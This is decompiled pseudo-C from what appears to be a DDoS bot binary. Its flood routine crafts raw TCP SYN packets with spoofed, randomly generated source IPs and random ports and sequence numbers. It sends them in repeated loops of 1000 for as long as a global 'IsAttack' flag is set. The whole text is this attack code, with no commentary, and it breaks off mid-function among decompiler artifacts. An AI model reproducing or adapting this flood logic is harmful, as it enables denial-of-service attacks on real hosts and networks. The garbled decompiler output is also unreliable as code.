int synbigpacket(_Unknown_base* ThreadData)
{// addr = 0x0804A285
    SYNPACKET SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    signed int _v20;
    signed int _v24;
    signed int _v28;
    signed int _v32;
    signed int _v36;
    _unknown_ _v38;
    signed int _v40;
    signed int _v44;
    char* _v48;
    unsigned int _v52;
    signed int _v56;
    signed char* _v60;
    unsigned int _v64;
    signed int _v66;
    unsigned int _v68;
    signed int _v72;
    signed short _v74;
    signed int _v76;
    signed short _v78;
    signed int _v80;
    signed int _v84;
    signed short _v86;
    signed int _v88;
    signed int _v92;
    intOrPtr _v96;
    signed int _v100;
    signed int _v212;
    signed int _v220;
    unsigned int _v224;
    unsigned int _v232;
    char _v236;
    char _v244;
    char _v248;
    char _v256;
    char _v268;
    char _v500;
    char _v512;
    char _v524;
    unsigned int _v617;
    unsigned short _v618;
    signed int _v619;
    signed int _v620;
    short unsigned int _v628;
    unsigned int _v629;
    unsigned short _v630;
    signed int _v631;
    signed int _v632;
    short unsigned int _v640;
    unsigned int _v641;
    unsigned short _v642;
    signed int _v643;
    signed int _v644;
    char _v648;
    short unsigned int _v652;
    char _v656;
    char _v660;
    signed int _v664;
    char _v668;
    char _v672;
    signed int _v676;
    signed int _v680;
    signed int _v684;
    signed short _v688;
    signed short _v692;
    signed int _v696;
    signed int _v700;
    signed int _v704;
    signed int _v708;
    signed int _v712;
    intOrPtr _v780;
    signed int _v784;
    signed short _v786;
    intOrPtr _v936;
    char _v948;
    signed short _v1368;
    signed int _v1412;
    signed int _v1416;
    signed int _v1420;
    signed int _v1424;
    signed int _v1428;
    intOrPtr _v1484;
    signed int _v1488;
    signed int _v1490;
    char _v1648;
    signed short _v2068;
    signed int _v2112;
    signed int _v2116;
    signed int _v2120;
    signed int _v2124;
    signed int _v2128;
    intOrPtr _v2192;
    signed int _v2196;
    signed int _v2198;
    char _v2356;
    signed short _v2776;
    signed int _v2828;
    signed int _v2832;
    signed int _v2836;
    signed char _v2840;
    signed int _v2844;
    intOrPtr _v2912;
    signed int _v2916;
    signed int _v2918;
    intOrPtr _v3068;
    char _v3080;
    signed short _v3500;
    signed int _v3544;
    signed int _v3548;
    signed int _v3552;
    signed char _v3556;
    signed int _v3560;
    signed int _v3572;
    signed int _v3576;
    signed char _v3580;
    signed int _v3582;
    _unknown_ r6;
    _unknown_ _t1142;
    unsigned int _t1143;
    signed char* _t1145;
    _unknown_ _t1147;
    _unknown_ _t1148;
    _unknown_ _t1149;
    _unknown_ _t1150;
    _unknown_ _t1154;
    signed int _t1155;
    signed char* _t1160;
    _unknown_ _t1162;
    _unknown_ _t1163;
    _unknown_ _t1164;
    _unknown_ _t1165;
    _unknown_ _t1169;
    signed int _t1170;
    intOrPtr _t1172;
    _unknown_ _t1174;
    _unknown_ _t1175;
    _unknown_ _t1176;
    _unknown_ _t1177;
    _unknown_ _t1181;
    signed int _t1182;
    intOrPtr _t1184;
    _unknown_ _t1186;
    _unknown_ _t1187;
    _unknown_ _t1188;
    _unknown_ _t1189;
    _unknown_ _t1193;
    signed int _t1194;
    signed int _t1199;
    _unknown_ _t1201;
    _unknown_ _t1202;
    _unknown_ _t1203;
    _unknown_ _t1204;
    _unknown_ _t1225;
    signed char _t1244;
    short _t1253;
    intOrPtr _t1255;
    intOrPtr _t1257;
    short _t1266;
    signed int _t1274;
    signed int _t1275;
    _unknown_ _t1277;
    intOrPtr _t1285;
    signed int _t1286;
    _unknown_ _t1288;
    short _t1297;
    signed int _t1298;
    _unknown_ _t1300;
    signed int _t1309;
    _unknown_ _t1311;
    _unknown_ _t1316;
    signed char _t1326;
    _unknown_ _t1329;
    _unknown_ _t1333;
    _unknown_ _t1338;
    _unknown_ _t1347;
    _unknown_ _t1351;
    short unsigned int _t1354;
    _unknown_ _t1359;
    _unknown_ _t1374;
    signed char _t1393;
    short _t1402;
    intOrPtr _t1404;
    intOrPtr _t1406;
    short _t1415;
    signed int _t1423;
    signed int _t1424;
    _unknown_ _t1426;
    intOrPtr _t1434;
    signed int _t1435;
    _unknown_ _t1437;
    short _t1446;
    signed int _t1447;
    _unknown_ _t1449;
    signed int _t1458;
    _unknown_ _t1460;
    _unknown_ _t1465;
    signed char _t1475;
    _unknown_ _t1478;
    _unknown_ _t1482;
    _unknown_ _t1487;
    _unknown_ _t1496;
    _unknown_ _t1500;
    short unsigned int _t1503;
    signed int _t1506;
    _unknown_ _t1508;
    signed int _t1511;
    _unknown_ _t1527;
    char _t1546;
    short _t1555;
    intOrPtr _t1557;
    intOrPtr _t1559;
    short _t1568;
    signed int _t1576;
    signed int _t1577;
    _unknown_ _t1579;
    intOrPtr _t1587;
    signed int _t1588;
    _unknown_ _t1590;
    short _t1599;
    signed int _t1600;
    _unknown_ _t1602;
    signed int _t1611;
    _unknown_ _t1613;
    _unknown_ _t1618;
    char _t1628;
    _unknown_ _t1631;
    _unknown_ _t1635;
    _unknown_ _t1640;
    _unknown_ _t1649;
    _unknown_ _t1653;
    short unsigned int _t1656;
    _unknown_ _t1673;
    char _t1692;
    short _t1701;
    intOrPtr _t1703;
    intOrPtr _t1705;
    short _t1714;
    signed int _t1722;
    signed int _t1723;
    _unknown_ _t1725;
    intOrPtr _t1733;
    signed int _t1734;
    _unknown_ _t1736;
    short _t1745;
    signed int _t1746;
    _unknown_ _t1748;
    signed int _t1757;
    _unknown_ _t1759;
    _unknown_ _t1764;
    char _t1774;
    _unknown_ _t1777;
    _unknown_ _t1781;
    _unknown_ _t1786;
    _unknown_ _t1795;
    _unknown_ _t1799;
    short unsigned int _t1802;
    signed int _t1805;
    _unknown_ _t1807;
    _unknown_ _t1822;
    char _t1841;
    short _t1850;
    intOrPtr _t1852;
    intOrPtr _t1854;
    short _t1863;
    signed int _t1871;
    signed int _t1872;
    _unknown_ _t1874;
    intOrPtr _t1882;
    signed int _t1883;
    _unknown_ _t1885;
    short _t1894;
    signed int _t1895;
    _unknown_ _t1897;
    signed int _t1906;
    _unknown_ _t1908;
    _unknown_ _t1913;
    char _t1923;
    _unknown_ _t1926;
    _unknown_ _t1930;
    _unknown_ _t1935;
    _unknown_ _t1944;
    _unknown_ _t1948;
    short unsigned int _t1951;
    signed int _t1954;
    _unknown_ _t1956;
    signed int _t1959;
    signed int _t1973;
    signed int _t2005;
    signed int _t2006;
    signed int _t2007;
    signed int _t2013;
    signed int _t2014;
    signed int _t2015;
    signed int _t2019;
    signed int _t2023;
    signed int _t2024;
    signed int _t2025;
    signed int _t2031;
    signed int _t2032;
    signed int _t2033;
    signed int _t2039;
    signed int _t2040;
    signed int _t2041;
    signed int _t2045;
    signed int _t2075;
    _unknown_ _t2083;
    _unknown_ _t2091;
    _unknown_ _t2119;
    signed int _t2126;
    _unknown_ _t2163;
    _unknown_ _t2203;
    _unknown_ _t2211;
    _unknown_ _t2239;
    _unknown_ _t2265;
    signed int* _t2266;
    signed int* _t2267;
    signed int* _t2268;
    signed int* _t2269;
    _unknown_ _t2270;

    _push(_t2252);
    _push(__esi);
    _push(_t1973);
    __esp = __esp - 700;
    L0806F910( &_v224, 156);
    L0806F9E0(_t2252, __esi,  &_v224, ThreadData, 156);
    _v66 = 2;
    _v712 = 16;
    _t1143 =  &_v644;
     *__esp = _t1143;
    L0806F910();
    _v708 = 6;
    L08073680(_t1973, __esp, 2, 3);
    _v64 = _t1143;
    _v644 = 2;
    _t1145 =  &((char*)( &_v224)[4]);
    L08075250(_t1145);
    _v60 = _t1145;
    if(_v60 != 0) {
        _t1822 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
        if(_t1822 == 0) {
        } else {
            _v56 = 0;
            _v56 = _v212;
            if(_v56 <= 0 || _v56 > 86400) {
                _v56 = 20;
            }
            _v640 =  *( *(_v60[0x10]));
            _v52 = 20;
            _v48 =  &_v500;
            _v44 =  &_v500 + 20;
            _v40 =  &_v500 + 40;
             *_v48 =  *_v48 & 255 & 240 | 5;
             *_v48 =  *_v48 & 255 & 15 | 64;
            (_v48[1]) = 0;
            (_v48[2]) = 60;
             *__esp = 31337;
            _t1841 = L08075240(__esp);
            (_v48[4]) = _t1841;
            (_v48[6]) = 0;
            (_v48[8]) = 250;
            (_v48[9]) = 6;
            (_v48[0xa]) = 0;
            (_v48[0x10]) = _v640;
             *__esp = _v80 & 65535;
            _t1850 = L08075240(__esp);
             *((short*)(_v44 + 2)) = _t1850;
             *__esp = 31337;
            _t1852 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 4)) = _t1852;
             *__esp = 0;
            _t1854 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 8)) = _t1854;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
             *(_v44 + 13) = _v66 & 65535;
             *__esp = 57344;
            _t1863 = L08075240(__esp);
             *((short*)(_v44 + 14)) = _t1863;
             *(_v44 + 16) = 0;
             *(_v44 + 18) = 0;
            if((_v52 & 3) != 0) {
                _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
            }
            _v52 = 40;
            _v648 = 1;
            _v36 =  &_v648;
            _v700 = 4;
            _v704 = _v36;
            _v708 = 3;
            _v712 = 0;
            _t1871 = _v64;
             *__esp = _t1871;
            L08073640(_t1973, __esp);
            if(_t1871 >= 0) {
            } else {
                _v32 = 0;
                while(1) {
                    _t1872 = IsAttack;
                    if(_t1872 == 0) {
                        break;
                    }
                    _v28 = 0;
                    while(_v28 <= 999) {
                        L0805EBE0();
                        _t2039 = _t1872;
                        _v680 = -2147450879;
                        _v672 = ((_v680 * _t2039 >> 32) + _t2039 >> 15) - (_t2039 >> 31);
                        _v672 = _t2039 - (_v672 << 16) - _v672;
                         *__esp = _v672;
                        _t1882 = L08075230(__esp);
                        _t1883 = _v44;
                         *((intOrPtr*)(_t1883 + 4)) = _t1882;
                        L0805EBE0();
                        _t2040 = _t1883;
                        _v680 = -2147450879;
                        _v668 = ((_v680 * _t2040 >> 32) + _t2040 >> 15) - (_t2040 >> 31);
                        _v668 = _t2040 - (_v668 << 16) - _v668;
                         *__esp = _v668 & 65535 & 65535;
                        _t1894 = L08075240(__esp);
                        _t1895 = _v44;
                         *((short*)(_t1895 + 14)) = _t1894;
                        L0805EBE0();
                        _t2041 = _t1895;
                        _v680 = -2147450879;
                        _t1973 = ((_v680 * _t2041 >> 32) + _t2041 >> 15) - (_t2041 >> 31);
                        _v664 = _t1973;
                        _t2252 = _t2041 - (_v664 << 16) - _v664;
                        _v664 = _t2252;
                         *_v44 = _v664 & 65535;
                        _t1906 = _v72 - _v76;
                        _v24 = _t1906;
                        if(_v24 <= 0) {
                            goto L20;
                        } else {
                            L0805EBE0();
                            _v20 = _t1906 % _v24 + _v76;
                            L0806F850(_t1973, _t2252, __esi,  &_v244, 0, 20);
                            _v696 = _v20 & 255;
                            _v700 = _v20 >> 8 & 255;
                            _v704 = _v20 >> 16 & 255;
                            L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
                            _t1923 = L08073B40( &_v244);
                            (_v48[0xc]) = _t1923;
                            L0806F850(_v20 >> 16 & 255, _t2252, __esi,  &_v628, 0, 128);
                            L0806F9E0(_t2252, __esi,  &_v628,  &(_v48[0xc]), 4);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
                            _v620 = 0;
                            _v619 = (_v48[9]) & 255;
                            _v618 = _v52 >> 8;
                            _v617 = _v52;
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[6]), _v44, 20);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
                            _t1951 = csum( &_v628, _v52 + 12);
                             *(_v44 + 16) = _t1951;
                            _t1973 =  &_v644;
                            _t1954 = (_v48[2]) & 65535;
                            __esi = _t1954 & 65535;
                            L0805EBE0();
                            _t2045 = _t1954;
                            _v680 = -1600085855;
                            _t1959 = _t2045 >> 31;
                            _t2252 = ((_v680 * _t2045 >> 32) + _t2045 >> 7) - _t1959;
                            _v660 = _t2252;
                            _v660 = _t2045 - _t1959 * _v660;
                            _v696 = 16;
                            _v700 = _t1973;
                            _v704 = 0;
                            _v708 = __esi + _v660 + 800;
                            _t1872 = L08052C20(__esi, _v64,  &_v500);
                            _v28 = _v28 + 1;
                            continue;
                        }
                        goto L20;
                    }
                }
            }
        }
    }
L20:
    L08052A50(_v64);
    _t1148 = L08051050();
    L08051000(_t1148);
     *__esp = 0;
    L08050FE0();
    goto L21;
L21:
    _push(_t2265);
    _t2266 = __esp;
    _push(__esi);
    _push(_t1973);
    __esp = __esp - 704;
    L0806F910( &_v948, 160);
    L0806F9E0(_t2252, __esi,  &_v948, _v712, 160);
    _v786 = 2;
    _v1428 = 16;
    _t1155 =  &_v1368;
     *__esp = _t1155;
    L0806F910();
    _v1424 = 6;
    L08073680(_t1973, __esp, 2, 3);
    _v784 = _t1155;
    _v1368 = 2;
    _v780 = _v936;
    if(_v780 <= 60 || _v68 > 800) {
        _v68 = 61;
    }
    _v64 = _v68 - 60;
    _t1160 =  &_v236 + 20;
    L08075250(_t1160);
    _v60 = _t1160;
    if(_v60 != 0) {
        _t1673 = L0806E4D0( &_v236 + 20, "0.0.0.0");
        if(_t1673 == 0) {
        } else {
            _v56 = 0;
            _v56 = _v220;
            if(_v56 <= 0 || _v56 > 86400) {
                _v56 = 20;
            }
            _v652 =  *( *(_v60[0x10]));
            _v52 = 20;
            _v48 =  &_v512;
            _v44 =  &_v512 + 20;
            _v40 =  &_v512 + 40;
             *_v48 =  *_v48 & 255 & 240 | 5;
             *_v48 =  *_v48 & 255 & 15 | 64;
            (_v48[1]) = 0;
            (_v48[2]) = 60;
             *__esp = 31337;
            _t1692 = L08075240(__esp);
            (_v48[4]) = _t1692;
            (_v48[6]) = 0;
            (_v48[8]) = 250;
            (_v48[9]) = 6;
            (_v48[0xa]) = 0;
            (_v48[0x10]) = _v652;
             *__esp = _v88 & 65535;
            _t1701 = L08075240(__esp);
             *((short*)(_v44 + 2)) = _t1701;
             *__esp = 31337;
            _t1703 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 4)) = _t1703;
             *__esp = 0;
            _t1705 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 8)) = _t1705;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
             *(_v44 + 13) = _v74 & 65535;
             *__esp = 57344;
            _t1714 = L08075240(__esp);
             *((short*)(_v44 + 14)) = _t1714;
             *(_v44 + 16) = 0;
             *(_v44 + 18) = 0;
            if((_v52 & 3) != 0) {
                _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
            }
            _v52 = 40;
            _v660 = 1;
            _v36 =  &_v660;
            _v1416 = 4;
            _v1420 = _v36;
            _v1424 = 3;
            _v1428 = 0;
            _t1722 = _v72;
             *__esp = _t1722;
            L08073640(_t1973, __esp);
            if(_t1722 >= 0) {
            } else {
                _v32 = 0;
                while(1) {
                    _t1723 = IsAttack;
                    if(_t1723 == 0) {
                        break;
                    }
                    _v28 = 0;
                    while(_v28 <= 999) {
                        L0805EBE0();
                        _t2031 = _t1723;
                        _v696 = -2147450879;
                        _v684 = ((_v696 * _t2031 >> 32) + _t2031 >> 15) - (_t2031 >> 31);
                        _v684 = _t2031 - (_v684 << 16) - _v684;
                         *__esp = _v684;
                        _t1733 = L08075230(__esp);
                        _t1734 = _v44;
                         *((intOrPtr*)(_t1734 + 4)) = _t1733;
                        L0805EBE0();
                        _t2032 = _t1734;
                        _v696 = -2147450879;
                        _v680 = ((_v696 * _t2032 >> 32) + _t2032 >> 15) - (_t2032 >> 31);
                        _v680 = _t2032 - (_v680 << 16) - _v680;
                         *__esp = _v680 & 65535 & 65535;
                        _t1745 = L08075240(__esp);
                        _t1746 = _v44;
                         *((short*)(_t1746 + 14)) = _t1745;
                        L0805EBE0();
                        _t2033 = _t1746;
                        _v696 = -2147450879;
                        _t1973 = ((_v696 * _t2033 >> 32) + _t2033 >> 15) - (_t2033 >> 31);
                        _v676 = _t1973;
                        _v676 = _t2033 - (_v676 << 16) - _v676;
                         *_v44 = _v676 & 65535;
                        _t1757 = _v80 - _v84;
                        _v24 = _t1757;
                        if(_v24 <= 0) {
                            goto L44;
                        } else {
                            L0805EBE0();
                            _v20 = _t1757 % _v24 + _v84;
                            L0806F850(_t1973, _t2252, __esi,  &_v256, 0, 20);
                            _v1412 = _v20 & 255;
                            _v1416 = _v20 >> 8 & 255;
                            _v1420 = _v20 >> 16 & 255;
                            L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
                            _t1774 = L08073B40( &_v256);
                            (_v48[0xc]) = _t1774;
                            L0806F850(_v20 >> 16 & 255, _t2252, __esi,  &_v640, 0, 128);
                            L0806F9E0(_t2252, __esi,  &_v640,  &(_v48[0xc]), 4);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[2]),  &(_v48[0x10]), 4);
                            _v632 = 0;
                            _v631 = (_v48[9]) & 255;
                            _v630 = _v52 >> 8;
                            _v629 = _v52;
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[6]), _v44, 20);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[0x10]), _v40, 8);
                            _t1802 = csum( &_v640, _v52 + 12);
                             *(_v44 + 16) = _t1802;
                            __esi =  &_v656;
                            _t1805 = (_v48[2]) & 65535;
                            _t1973 = _t1805 & 65535;
                            L0805EBE0();
                            _v1412 = 16;
                            _v1416 = __esi;
                            _v1420 = 0;
                            _v1424 = _t1973 + _t1805 % _v64;
                            _t1723 = L08052C20(__esi, _v72,  &_v512);
                            _v28 = _v28 + 1;
                            continue;
                        }
                        goto L44;
                    }
                }
            }
        }
    }
L44:
    L08052A50(_v72);
    _t1163 = L08051050();
    L08051000(_t1163);
     *__esp = 0;
    L08050FE0();
    goto L45;
L45:
    _push(_t2266);
    _t2267 = __esp;
    _push(_t1973);
    __esp = __esp - 692;
    L0806F910( &_v1648, 156);
    L0806F9E0(_t2252, __esi,  &_v1648, _v1428, 156);
    _v1490 = 16;
    _v2128 = 16;
    _t1170 =  &_v2068;
     *__esp = _t1170;
    L0806F910();
    _v2124 = 6;
    L08073680(_t1973, __esp, 2, 3);
    _v1488 = _t1170;
    _v2068 = 2;
    _t1172 =  &_v1648 + 16;
    L08075250(_t1172);
    _v1484 = _t1172;
    if(_v1484 != 0) {
        _t1527 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
        if(_t1527 == 0) {
        } else {
            _v56 = 0;
            _v56 = _v212;
            if(_v56 <= 0 || _v56 > 86400) {
                _v56 = 20;
            }
            _v640 =  *( *(_v60[0x10]));
            _v52 = 20;
            _v48 =  &_v500;
            _v44 =  &_v500 + 20;
            _v40 =  &_v500 + 40;
             *_v48 =  *_v48 & 255 & 240 | 5;
             *_v48 =  *_v48 & 255 & 15 | 64;
            (_v48[1]) = 0;
            (_v48[2]) = 60;
             *__esp = 31337;
            _t1546 = L08075240(__esp);
            (_v48[4]) = _t1546;
            (_v48[6]) = 0;
            (_v48[8]) = 250;
            (_v48[9]) = 6;
            (_v48[0xa]) = 0;
            (_v48[0x10]) = _v640;
             *__esp = _v80 & 65535;
            _t1555 = L08075240(__esp);
             *((short*)(_v44 + 2)) = _t1555;
             *__esp = 31337;
            _t1557 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 4)) = _t1557;
             *__esp = 0;
            _t1559 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 8)) = _t1559;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
             *(_v44 + 13) = _v66 & 65535;
             *__esp = 57344;
            _t1568 = L08075240(__esp);
             *((short*)(_v44 + 14)) = _t1568;
             *(_v44 + 16) = 0;
             *(_v44 + 18) = 0;
            if((_v52 & 3) != 0) {
                _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
            }
            _v52 = 40;
            _v648 = 1;
            _v36 =  &_v648;
            _v2116 = 4;
            _v2120 = _v36;
            _v2124 = 3;
            _v2128 = 0;
            _t1576 = _v64;
             *__esp = _t1576;
            L08073640(_t1973, __esp);
            if(_t1576 >= 0) {
            } else {
                _v32 = 0;
                while(1) {
                    _t1577 = IsAttack;
                    if(_t1577 == 0) {
                        break;
                    }
                    _v28 = 0;
                    while(_v28 <= 999) {
                        L0805EBE0();
                        _t2023 = _t1577;
                        _v676 = -2147450879;
                        _v668 = ((_v676 * _t2023 >> 32) + _t2023 >> 15) - (_t2023 >> 31);
                        _v668 = _t2023 - (_v668 << 16) - _v668;
                         *__esp = _v668;
                        _t1587 = L08075230(__esp);
                        _t1588 = _v44;
                         *((intOrPtr*)(_t1588 + 4)) = _t1587;
                        L0805EBE0();
                        _t2024 = _t1588;
                        _v676 = -2147450879;
                        _v664 = ((_v676 * _t2024 >> 32) + _t2024 >> 15) - (_t2024 >> 31);
                        _v664 = _t2024 - (_v664 << 16) - _v664;
                         *__esp = _v664 & 65535 & 65535;
                        _t1599 = L08075240(__esp);
                        _t1600 = _v44;
                         *((short*)(_t1600 + 14)) = _t1599;
                        L0805EBE0();
                        _t2025 = _t1600;
                        _v676 = -2147450879;
                        _t1973 = ((_v676 * _t2025 >> 32) + _t2025 >> 15) - (_t2025 >> 31);
                        _v660 = _t1973;
                        _v660 = _t2025 - (_v660 << 16) - _v660;
                         *_v44 = _v660 & 65535;
                        _t1611 = _v72 - _v76;
                        _v24 = _t1611;
                        if(_v24 <= 0) {
                            goto L65;
                        } else {
                            L0805EBE0();
                            _v20 = _t1611 % _v24 + _v76;
                            L0806F850(_t1973, _t2252, __esi,  &_v244, 0, 20);
                            _t1973 = _v20 >> 16 & 255;
                            _v2112 = _v20 & 255;
                            _v2116 = _v20 >> 8 & 255;
                            _v2120 = _t1973;
                            L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
                            _t1628 = L08073B40( &_v244);
                            (_v48[0xc]) = _t1628;
                            L0806F850(_t1973, _t2252, __esi,  &_v628, 0, 128);
                            L0806F9E0(_t2252, __esi,  &_v628,  &(_v48[0xc]), 4);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
                            _v620 = 0;
                            _v619 = (_v48[9]) & 255;
                            _v618 = _v52 >> 8;
                            _v617 = _v52;
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[6]), _v44, 20);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
                            _t1656 = csum( &_v628, _v52 + 12);
                             *(_v44 + 16) = _t1656;
                            _v2112 = 16;
                            _v2116 =  &_v644;
                            _v2120 = 0;
                            _v2124 = (_v48[2]) & 65535 & 65535;
                            _t1577 = L08052C20(__esi, _v64,  &_v500);
                            _v28 = _v28 + 1;
                            continue;
                        }
                        goto L65;
                    }
                }
            }
        }
    }
L65:
    L08052A50(_v64);
    _t1175 = L08051050();
    L08051000(_t1175);
     *__esp = 0;
    L08050FE0();
    goto L66;
L66:
    _push(_t2267);
    _t2268 = __esp;
    _push(_t2252);
    _push(__esi);
    _push(_t1973);
    __esp = __esp - 700;
    L0806F910( &_v2356, 156);
    L0806F9E0(_t2252, __esi,  &_v2356, _v2128, 156);
    _v2198 = 16;
    _v2844 = 16;
    _t1182 =  &_v2776;
     *__esp = _t1182;
    L0806F910();
    _v2840 = 6;
    L08073680(_t1973, __esp, 2, 3);
    _v2196 = _t1182;
    _v2776 = 2;
    _t1184 =  &_v2356 + 16;
    L08075250(_t1184);
    _v2192 = _t1184;
    if(_v2192 != 0) {
        _t1374 = L0806E4D0( &_v236 + 16, "0.0.0.0");
        if(_t1374 == 0) {
        } else {
            _v68 = 0;
            _v68 = _v224;
            if(_v68 <= 0 || _v68 > 86400) {
                _v68 = 20;
            }
            _v652 =  *( *( *(_v72 + 16)));
            _v64 = 20;
            _v60 =  &_v512;
            _v56 =  &_v512 + 20;
            _v52 =  &_v512 + 40;
             *_v60 =  *_v60 & 255 & 240 | 5;
             *_v60 =  *_v60 & 255 & 15 | 64;
            (_v60[1]) = 0;
            (_v60[2]) = 60;
             *__esp = 31337;
            _t1393 = L08075240(__esp);
            (_v60[4]) = _t1393;
            (_v60[6]) = 0;
            (_v60[8]) = 250;
            (_v60[9]) = 6;
            (_v60[0xa]) = 0;
            (_v60[0x10]) = _v652;
             *__esp = _v92 & 65535;
            _t1402 = L08075240(__esp);
             *((short*)(_v56 + 2)) = _t1402;
             *__esp = 31337;
            _t1404 = L08075230(__esp);
             *((intOrPtr*)(_v56 + 4)) = _t1404;
             *__esp = 0;
            _t1406 = L08075230(__esp);
             *((intOrPtr*)(_v56 + 8)) = _t1406;
             *(_v56 + 12) =  *(_v56 + 12) & 255 & 240;
             *(_v56 + 12) =  *(_v56 + 12) & 255 & 15 | 160;
             *(_v56 + 13) = _v78 & 65535;
             *__esp = 57344;
            _t1415 = L08075240(__esp);
             *((short*)(_v56 + 14)) = _t1415;
             *((short*)(_v56 + 16)) = 0;
             *(_v56 + 18) = 0;
            if((_v64 & 3) != 0) {
                _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
            }
            _v64 = 40;
            _v660 = 1;
            _v48 =  &_v660;
            _v2832 = 4;
            _v2836 = _v48;
            _v2840 = 3;
            _v2844 = 0;
            _t1423 = _v76;
             *__esp = _t1423;
            L08073640(_t1973, __esp);
            if(_t1423 >= 0) {
            } else {
                _v44 = 0;
                while(1) {
                    _t1424 = IsAttack;
                    if(_t1424 == 0) {
                        break;
                    }
                    _v40 = 0;
                    while(_v40 <= 999) {
                        L0805EBE0();
                        _t2013 = _t1424;
                        _v692 = -2147450879;
                        _v684 = ((_v692 * _t2013 >> 32) + _t2013 >> 15) - (_t2013 >> 31);
                        _v684 = _t2013 - (_v684 << 16) - _v684;
                         *__esp = _v684;
                        _t1434 = L08075230(__esp);
                        _t1435 = _v56;
                         *((intOrPtr*)(_t1435 + 4)) = _t1434;
                        L0805EBE0();
                        _t2014 = _t1435;
                        _v692 = -2147450879;
                        _v680 = ((_v692 * _t2014 >> 32) + _t2014 >> 15) - (_t2014 >> 31);
                        _v680 = _t2014 - (_v680 << 16) - _v680;
                         *__esp = _v680 & 65535 & 65535;
                        _t1446 = L08075240(__esp);
                        _t1447 = _v56;
                         *((short*)(_t1447 + 14)) = _t1446;
                        L0805EBE0();
                        _t2015 = _t1447;
                        _v692 = -2147450879;
                        _t1973 = ((_v692 * _t2015 >> 32) + _t2015 >> 15) - (_t2015 >> 31);
                        _v676 = _t1973;
                        _t2252 = _t2015 - (_v676 << 16) - _v676;
                        _v676 = _t2015 - (_v676 << 16) - _v676;
                         *_v56 = _v676 & 65535;
                        _t1458 = _v84 - _v88;
                        _v36 = _t1458;
                        if(_v36 <= 0) {
                            goto L86;
                        } else {
                            L0805EBE0();
                            _v32 = _t1458 % _v36 + _v88;
                            L0806F850(_t1973, _t2252, __esi,  &_v256, 0, 20);
                            _v2828 = _v32 & 255;
                            _v2832 = _v32 >> 8 & 255;
                            _v2836 = _v32 >> 16 & 255;
                            L0805FF50( &_v256, "%d.%d.%d.%d", _v32 >> 24);
                            _t1475 = L08073B40( &_v256);
                            (_v60[0xc]) = _t1475;
                            L0806F850(_v32 >> 16 & 255, _t2252, __esi,  &_v640, 0, 128);
                            L0806F9E0(_t2252, __esi,  &_v640,  &(_v60[0xc]), 4);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[2]),  &(_v60[0x10]), 4);
                            _v632 = 0;
                            _v631 = (_v60[9]) & 255;
                            _v630 = _v64 >> 8;
                            _v629 = _v64;
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[6]), _v56, 20);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[0x10]), _v52, 8);
                            _t1503 = csum( &_v640, _v64 + 12);
                             *((short*)(_v56 + 16)) = _t1503;
                            _t1973 =  &_v656;
                            _t1506 = (_v60[2]) & 65535;
                            __esi = _t1506 & 65535;
                            L0805EBE0();
                            _t2019 = _t1506;
                            _v692 = -1600085855;
                            _t2126 = _v692 * _t2019 >> 32;
                            _t1511 = _t2019 >> 31;
                            _t2252 = (_t2126 + _t2019 >> 7) - _t1511;
                            _v672 = (_t2126 + _t2019 >> 7) - _t1511;
                            _v672 = _t2019 - _t1511 * _v672;
                            _v2828 = 16;
                            _v2832 = _t1973;
                            _v2836 = 0;
                            _v2840 = __esi + _v672 + 800;
                            _t1424 = L08052C20(__esi, _v76,  &_v512);
                            _v40 = _v40 + 1;
                            continue;
                        }
                        goto L86;
                    }
                }
            }
        }
    }
L86:
    L08052A50(_v76);
    _t1187 = L08051050();
    L08051000(_t1187);
     *__esp = 0;
    L08050FE0();
    goto L87;
L87:
    _push(_t2268);
    _t2269 = __esp;
    _push(__esi);
    _push(_t1973);
    __esp = __esp - 704;
    L0806F910( &_v3080, 160);
    L0806F9E0(_t2252, __esi,  &_v3080, _v2844, 160);
    _v2918 = 16;
    _v3560 = 16;
    _t1194 =  &_v3500;
     *__esp = _t1194;
    L0806F910();
    _v3556 = 6;
    L08073680(_t1973, __esp, 2, 3);
    _v2916 = _t1194;
